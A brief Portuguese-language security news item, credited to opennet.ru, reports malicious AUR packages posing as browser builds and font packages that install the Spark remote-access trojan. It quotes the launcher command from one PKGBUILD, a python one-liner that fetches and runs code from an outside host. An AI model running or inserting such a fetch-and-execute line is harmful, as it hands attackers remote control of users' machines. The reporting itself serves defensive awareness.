No repositório AUR (Arch User Repository), utilizado no Arch Linux para a distribuição de pacotes de desenvolvedores terceiros, continuou a publicação de código malicioso, integrado a pacotes com compilações não oficiais de navegadores. Além dos pacotes maliciosos firefox-patch-bin, librewolf-fix-bin e zen-browser-patched-bin identificados há duas semanas, foi adicionado ao AUR o pacote google-chrome-stable, que também contém uma modificação que instala um componente malicioso, fornecendo acesso remoto ao sistema.
No arquivo PKGBUILD do pacote problemático, foi identificada a instalação de um script para executar o navegador google-chrome-stable.sh, que entre outras coisas, incluía o comando ‘python -c "$(curl https://segs.lol/9wUb1Z)"’, que baixava um malware reconhecido pelo serviço VirusTotal como o trojan Spark, permitindo controle remoto do sistema, execução de processos, transferência de arquivos, inspeção de tráfego e captura de telas.
O pacote malicioso google-chrome-stable foi carregado anteontem e foi removido pelos administradores do AUR algumas horas após a sua aparição. Quase imediatamente após a remoção do google-chrome-stable, foram carregados no AUR dois pacotes maliciosos - "chrome" e "chrome-bin", que contêm um script de instalação semelhante de malware no sistema do usuário.
Em seguida, foram identificados mais três pacotes com código malicioso: ttf-mac-fonts-all, ttf-ms-fonts-all e gromit.
Fonte: opennet.ru
